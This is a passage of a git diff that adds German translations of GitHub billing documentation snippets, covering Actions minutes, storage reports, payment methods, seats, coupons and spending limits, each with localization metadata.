+Wenn dadurch der Fehler nicht behoben wird, solltest Du Dich an den {% data variables.contact.contact_support %} wenden.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-minutes.md b/translations/de-DE/data/reusables/dotcom_billing/actions-minutes.md
new file mode 100644
index 0000000000..79c3fb3b2f
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-minutes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 31aa63652854b84bdd76b2ace8dc70638bcf57e8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108971"
+---
+1. Unter „{% data variables.product.prodname_actions %}" siehst Du die Details Deiner verwendeten Minuten.
+  ![Details zur Minutennutzung](/assets/images/help/billing/actions-minutes.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md
new file mode 100644
index 0000000000..60ee6451a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md
@@ -0,0 +1,2 @@
+1. Optionally, next to "Usage this month", click **Get usage report** to get an email containing a link for downloading a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %}. The email is sent to your account's primary email address. You can choose whether the report should cover the last 7, 30, 90, or 180 days.
+   ![Download CSV report](/assets/images/help/billing/actions-packages-report-download.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download.md b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download.md
new file mode 100644
index 0000000000..af27940a25
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 56b6151c3c8877e9a97a42e6d7ebf81fc8d7427e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108952"
+---
+1. Klicke neben „Nutzung in diesem Monat“ optional auf **Nutzungsbericht abrufen** um einen CSV-Bericht zur Speichernutzung für {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %} an die primäre E-Mail-Adresse des Kontos zu senden.
+  ![Herunterladen eines CSV-Berichts](/assets/images/help/billing/actions-packages-report-download.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md
new file mode 100644
index 0000000000..93a345b03a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9d68d19e634dcffc7f9faffd0c326533c310565d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108951"
+---
+1. Unter „{% data variables.product.prodname_dotcom %} Speicher für Aktionen und Pakete" findest Du Details zur Speichernutzung für jede Organisation in Deinem Enterprise-Konto, sowohl für {% data variables.product.prodname_actions %} als auch für {% data variables.product.prodname_registry %}.
+  ![Details zur Speichernutzung](/assets/images/help/billing/actions-packages-storage-enterprise.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage.md b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage.md
new file mode 100644
index 0000000000..5f733d4986
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d62cb277f0d813ce1f4f95311bd648ac0967da28
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108947"
+---
+1. Unter „Speicher für Aktionen und Pakete" findest Du Details zur kombinierten Speichernutzung von {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %}. Speichernutzungsdaten werden stündlich synchronisiert.
+  ![Details zur Speichernutzung](/assets/images/help/billing/actions-packages-storage.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/actions-packages-unpaid-account.md b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-unpaid-account.md
new file mode 100644
index 0000000000..5d0f502c0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/actions-packages-unpaid-account.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 1755638282e001d4e685a225d42c36cdc0f3bd7b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108944"
+---
+Wenn für Ihr Konto ausstehende, nicht bezahlte Gebühren anfallen, gilt Folgendes:
+
+* Der Speicher oder die Minuten, die in Deinem Konto für {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %} enthalten sind, werden nicht zurückgesetzt, bis die Zahlung erfolgreich verarbeitet wurde.
+* Für Konten mit verfügbarem Speicher oder verfügbaren Minuten im aktuellen Abrechnungszeitraum werden {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %} weiterhin verfügbar sein bis die eingeschlossene Nutzung erreicht ist.
+* Für Konten, welche die eingeschlossene Nutzung für {% data variables.product.prodname_actions %} oder {% data variables.product.prodname_registry %} im aktuellen Abrechnungszeitraum erreicht haben, werden sowohl {% data variables.product.prodname_actions %} wie auch {% data variables.product.prodname_registry %} deaktiviert werden, um weitere Überschreitungen zu verhindern.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/add-payment-method.md b/translations/de-DE/data/reusables/dotcom_billing/add-payment-method.md
new file mode 100644
index 0000000000..a9f39944f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/add-payment-method.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b41f1361a4ab12aca06403923030af8eb592b1a1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108943"
+---
+1. Klicke unter „Abrechnungsinformationen“ auf **Zahlungsmethode hinzufügen**.
+  ![Link zum Hinzufügen einer Zahlungsmethode](/assets/images/help/billing/add-payment-method.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/add-seats.md b/translations/de-DE/data/reusables/dotcom_billing/add-seats.md
new file mode 100644
index 0000000000..1164b7d22c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/add-seats.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a40be433e180604609a90196871f81d1db319c90
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108940"
+---
+1. Verwende die Dropdownliste **Bearbeiten**, und klicke auf **Arbeitsplätze hinzufügen**.
+  ![Dropdownmenü „Bearbeiten“](/assets/images/help/billing/add-seats-dropdown.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/cancel-pending-changes.md b/translations/de-DE/data/reusables/dotcom_billing/cancel-pending-changes.md
new file mode 100644
index 0000000000..caeea17a29
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/cancel-pending-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 20eb63ad944e8e71b5231e9f2ab34396812a901b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108939"
+---
+1. Klicke neben der ausstehenden Änderung, die Du abbrechen möchtest, auf **Cancel** (Abbrechen).
+  ![Link „Cancel“ (Abbrechen) neben einer ausstehenden Abonnementänderung](/assets/images/help/billing/cancel-pending-changes-link.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/change_plan_duration.md b/translations/de-DE/data/reusables/dotcom_billing/change_plan_duration.md
new file mode 100644
index 0000000000..c5c806a077
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/change_plan_duration.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0652a514fd58c2119ac5652f95f3d5b43cfe5d39
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108932"
+---
+1. Klicke unter „Current monthly bill“ (Aktuelle monatliche Rechnung) oder „Current yearly bill“ (Aktuelle jährliche Rechnung) auf **Switch to yearly billing** (Auf jährliche Abrechnung umstellen) oder **Switch to monthly billing** (Auf monatliche Abrechnung umstellen).
+![Schaltfläche zum Ändern des Plans in der Abrechnungsübersicht](/assets/images/help/billing/change-plan-duration-link.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md b/translations/de-DE/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md
new file mode 100644
index 0000000000..f88d3e92f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6d6aac00a66396bd05084b0836b8ef7dfed2aa3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108931"
+---
+1. Wähle unter „Upgrade summary“ (Upgrade-Übersicht) aus, ob Du monatlich oder jährlich bezahlen möchtest.
+  ![Optionsfelder mit der Auswahl der monatlichen oder jährlichen Abrechnung](/assets/images/help/billing/choose-monthly-or-yearly-billing.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/choose_org_plan.md b/translations/de-DE/data/reusables/dotcom_billing/choose_org_plan.md
new file mode 100644
index 0000000000..172024af4b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/choose_org_plan.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4d983c2c6c3f0a2560cb0ed6d8dc22bf49320edd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108919"
+---
+1. Unter „Pläne vergleichen“ kannst du die Features der einzelnen Pläne vergleichen. Klicke je nach aktuellem Plan und ausgewähltem Plan entweder auf **Upgrade auf Team** oder auf **Upgrade auf Enterprise**.
+![Vergleichen von Plänen und Durchführen eines Upgrades](/assets/images/help/billing/settings-compare-and-upgrade-plans.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/confirm-add-seats.md b/translations/de-DE/data/reusables/dotcom_billing/confirm-add-seats.md
new file mode 100644
index 0000000000..aadfd6c82b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/confirm-add-seats.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4bb53fccaf5241d30cf665658b81bcb21c6d34bf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108908"
+---
+1. Klicke auf **Arbeitsplätze hinzufügen**.
+  ![Schaltfläche „Arbeitsplätze hinzufügen“](/assets/images/help/billing/add-seats-button.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md b/translations/de-DE/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md
new file mode 100644
index 0000000000..7d5c8fedd9
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e7803d56aef472e349e82cb8d6b12abb14cde4a0
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108907"
+---
+1. Klicke im Dialogfeld auf **OK**, um zu bestätigen, dass du deine ausstehenden Abonnementänderungen abbrechen möchtest.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/confirm_cancel_org_plan.md b/translations/de-DE/data/reusables/dotcom_billing/confirm_cancel_org_plan.md
new file mode 100644
index 0000000000..6145596ccd
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/confirm_cancel_org_plan.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e6674a91a18b3cd60e82300e97ad61358be8e35c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878947"
+---
+7. Lies die Informationen zu den Features, auf die deine Organisation ab dem nächsten Abrechnungsdatum nicht mehr zugreifen kann, und klicke dann auf **Verstanden, meine Organisation herabstufen**.
+  ![Schaltfläche zum Herabstufen](/assets/images/help/billing/downgrade-confirm-button.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/confirm_duration_change.md b/translations/de-DE/data/reusables/dotcom_billing/confirm_duration_change.md
new file mode 100644
index 0000000000..698790686c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/confirm_duration_change.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: abae0e1d4b247abe4166e7e6c192f52d53e59075
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108903"
+---
+1. Überprüfe deine neuen Zahlungsdetails, und klicke anschließend auf **Plandauer ändern**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/coupon-expires.md b/translations/de-DE/data/reusables/dotcom_billing/coupon-expires.md
new file mode 100644
index 0000000000..b1fcbfb093
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/coupon-expires.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 816d19bab698a9c4cdabe9dd1f65779e27e39f5d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108900"
+---
+Wenn du einen abgelaufenen Gutschein verwendest, um ein Abonnement zu bezahlen, werden deiner Zahlungsmethode die vollständigen Kosten deines Abonnements berechnet. Wenn du keine gespeicherte Zahlungsmethode hast, wird dein Konto auf {% data variables.product.prodname_free_user %} für persönliche Konten oder {% data variables.product.prodname_free_team %} für Organisationen herabgestuft.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/downgrade-org-to-free.md b/translations/de-DE/data/reusables/dotcom_billing/downgrade-org-to-free.md
new file mode 100644
index 0000000000..289eaa7bc1
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/downgrade-org-to-free.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 832aae05bf3016e73d9ec7b9c0be0232d1a30bc8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108899"
+---
+1. Verwende die Dropdownliste **Bearbeiten**, und klicke auf **Auf {% data variables.product.prodname_free_team %} herabstufen**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/download_receipt.md b/translations/de-DE/data/reusables/dotcom_billing/download_receipt.md
new file mode 100644
index 0000000000..ca666d9328
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/download_receipt.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: eda1772c14519b2364b3dfe3b9217b76be1c554d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108896"
+---
+1. Überprüfe unter „Payment history“ (Zahlungsverlauf) Deine vergangenen Zahlungen. Klicke zum Herunterladen einer Quittung für eine bestimmte Zahlung auf {% octicon "download" aria-label="The download icon" %}.
+ ![Schaltfläche zum Herunterladen einer Quittung](/assets/images/help/settings/settings-download-receipt.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/enter-billing-info.md b/translations/de-DE/data/reusables/dotcom_billing/enter-billing-info.md
new file mode 100644
index 0000000000..7fa5f1e1de
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/enter-billing-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 52d8d92bd8bf098d4d9d743e598aff9ede24525a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108888"
+---
+1. Fülle unter „Billing information“ (Abrechnungsinformationen) das Formular aus, und klicke dann auf **Save** (Speichern).
diff --git a/translations/de-DE/data/reusables/dotcom_billing/enter-payment-info.md b/translations/de-DE/data/reusables/dotcom_billing/enter-payment-info.md
new file mode 100644
index 0000000000..30f5ec0759
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/enter-payment-info.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 4e3650d8ea8403131ac1b4dca2041b741fbb9ec6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881659"
+---
+1. Wähle unter „Zahlungsmethode“ aus, ob du mit einer Kreditkarte oder über PayPal bezahlen möchtest.
+  ![Wechseln der Abrechnungszahlungsmethoden](/assets/images/help/billing/billing_switch_payments.png)
+1. Fülle das Formular mit den Zahlungsinformationen aus, und klicke dann auf **Senden**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md b/translations/de-DE/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md
new file mode 100644
index 0000000000..8687aefbd6
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 3ed62ec39bf7b35f447ea9dd71edd732c1d3c6b0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108872"
+---
+1. Besuche die Seite [Redeem coupon](https://github.com/redeem) (Gutschein einlösen).
+2. Gib im Feld „Enter coupon code“ (Gutscheincode eingeben) Deinen Gutscheincode ein, und klicke auf **Redeem** (Einlösen).
+   ![Feld „Redeem coupon“ (Gutschein einlösen)](/assets/images/help/settings/redeem-coupon-box.png)
+3. Wenn Du nicht bereits angemeldet bist, kannst Du Dich auf dieser Seite anmelden oder ein neues Konto erstellen, auf dem Du Deinen Gutschein anwendest.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/extra_info_receipt.md b/translations/de-DE/data/reusables/dotcom_billing/extra_info_receipt.md
new file mode 100644
index 0000000000..060866679b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/extra_info_receipt.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 87ee440c3115ace54085aa985cdbdc3bf19d0e93
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108871"
+---
+1. Klicke unter „Payment information“ (Zahlungsinformationen) unter „Extra information“ (Zusätzliche Informationen) auf **Add information** (Informationen hinzufügen).
+ ![Schaltfläche mit zusätzlichen Informationen zur Abrechnung](/assets/images/help/billing/settings_billing_add_billing_extra.png)
+1. Gib die gewünschten zusätzlichen Informationen auf Deiner Quittung ein, und klicke anschließend auf **Save contact information** (Kontaktinformationen speichern).
+ ![Feld mit Kontaktinformationen](/assets/images/help/settings/Billing-extra-info-field.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/finish_upgrade.md b/translations/de-DE/data/reusables/dotcom_billing/finish_upgrade.md
new file mode 100644
index 0000000000..a4c7619e6a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/finish_upgrade.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b4cfa0ceebe27645f4b93a8dd959fb67fb8032e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108867"
+---
+1. Überprüfe die Informationen zur Gebühr und zu deinem Abrechnungsdatum. Klicke anschließend auf **Mein Konto aktualisieren** oder auf **Konto meiner Organisation aktualisieren**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/lfs-add-data.md b/translations/de-DE/data/reusables/dotcom_billing/lfs-add-data.md
new file mode 100644
index 0000000000..1d6949946d
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/lfs-add-data.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: eab34f2eac4f98c7a81e3af8e8d87a04412a2f6f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881651"
+---
+1. Klicke neben „{% data variables.large_files.product_name_short %}-Daten“ auf **Weitere Daten hinzufügen**, oder klicke im Dropdownmenü **Bearbeiten** auf **Weitere Datenpakete hinzufügen**.
+  ![Schaltfläche „Weitere Daten hinzufügen“](/assets/images/help/billing/data-pack-purchase-more.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/lfs-data.md b/translations/de-DE/data/reusables/dotcom_billing/lfs-data.md
new file mode 100644
index 0000000000..cb58217641
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/lfs-data.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: fd4489c862a34052fbc6e7c183b0323341cdabcd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108863"
+---
+1. Details zu deiner Bandbreite und Speichernutzung findest du unter „{% data variables.large_files.product_name_short %}-Daten“. Wenn du die LFS-Datennutzung deiner Organisation nach Repository anzeigen möchtest, klicke auf die Pfeile neben „Speicher“ und „Bandbreite“.
+
+  ![Details der Git LFS-Datennutzung](/assets/images/help/billing/lfs-data.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/lfs-remove-data.md b/translations/de-DE/data/reusables/dotcom_billing/lfs-remove-data.md
new file mode 100644
index 0000000000..aa77e2e1e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/lfs-remove-data.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c67a2ce6856b6865efa1c30191d7661ae2d8927a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108860"
+---
+1. Klicke im Dropdownmenü **Bearbeiten** neben „{% data variables.large_files.product_name_short %}“-Daten auf **Datenpakete entfernen**.
+  ![Downgrade deines Git LFS-Datenplans](/assets/images/help/large_files/downgrade_lfs_data_packs.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/manage-spending-limit.md b/translations/de-DE/data/reusables/dotcom_billing/manage-spending-limit.md
new file mode 100644
index 0000000000..07b7cfd302
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/manage-spending-limit.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2905c63783bf13ae8a60bdf1ee5e4e6735ce8dcc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108859"
+---
+1. Klicke oben auf der Seite unter „Zahlungsinformationen“ auf **Ausgabenlimit verwalten**.
+![Link „Ausgabenlimit verwalten“](/assets/images/help/billing/manage-spending-limit-link.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md b/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md
new file mode 100644
index 0000000000..9505909786
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f8eea21ecc6a1652ce0ed53d0612cedb512eafef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108856"
+---
+1. Unter „Monatliches Ausgabelimit“ scrolle nach unten zu „Aktionen & Pakete“ und wähle aus, ob du die Ausgaben begrenzen oder unbegrenzt lassen willst.
+  ![Optionsfelder, um Ausgaben zu begrenzen oder unbegrenzte Ausgaben zu ermöglichen](/assets/images/help/billing/limit-or-unlimited.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit.md b/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit.md
new file mode 100644
index 0000000000..4f757b5b43
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 638d0413d2de5827ea8e953c4018e99ad214ba33
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108835"
+---
+1. Unter „Monthly spending limit" (Monatliche Ausgabengrenze) begrenze die Ausgaben oder erlaube unbegrenzte Ausgaben.
+  ![Optionsfelder, um Ausgaben zu begrenzen oder unbegrenzte Ausgaben zu ermöglichen](/assets/images/help/billing/limit-or-unlimited.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/next_billing_date.md b/translations/de-DE/data/reusables/dotcom_billing/next_billing_date.md
new file mode 100644
index 0000000000..2c55a3da11
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/next_billing_date.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5cf3b6ded4e6382af3bc6358980d340ce0c356fa
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884574"
+---
+1. Überprüfe oben auf der Seite unter „Nächste fällige Zahlung“, wann deine nächste Zahlung fällig ist.
+![Nächstes Abrechnungsdatum](/assets/images/help/billing/settings_billing_next_payment.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/number-of-seats.md b/translations/de-DE/data/reusables/dotcom_billing/number-of-seats.md
new file mode 100644
index 0000000000..6b6b74b3e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/number-of-seats.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f8dc97d82f67f776caeb77ff9f52ca685e4b9182
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108831"
+---
+1. Gib unter „Add seats“ (Benutzer hinzufügen) die Anzahl der gewünschten Benutzer ein, die hinzugefügt werden soll.
+  ![Eingabe „Arbeitsplätze hinzufügen“](/assets/images/help/billing/add-seats-amount.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/org-billing-perms.md b/translations/de-DE/data/reusables/dotcom_billing/org-billing-perms.md
new file mode 100644
index 0000000000..76a3abc74c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/org-billing-perms.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 76a3bd55e55a41ffbab43d76cb143f263225a750
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108824"
+---
+Nur Organisationsmitglieder mit der Rolle [*Besitzer*](/articles/permission-levels-for-an-organization) oder [*Abrechnungsmanager*](/articles/adding-a-billing-manager-to-your-organization) können auf die Abrechnungseinstellungen für deine Organisation zugreifen oder diese ändern.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/owned_by_business.md b/translations/de-DE/data/reusables/dotcom_billing/owned_by_business.md
new file mode 100644
index 0000000000..3d76c5b75c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/owned_by_business.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 810a19c1bc5d885a5a6bff43155c8799e9b27f08
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
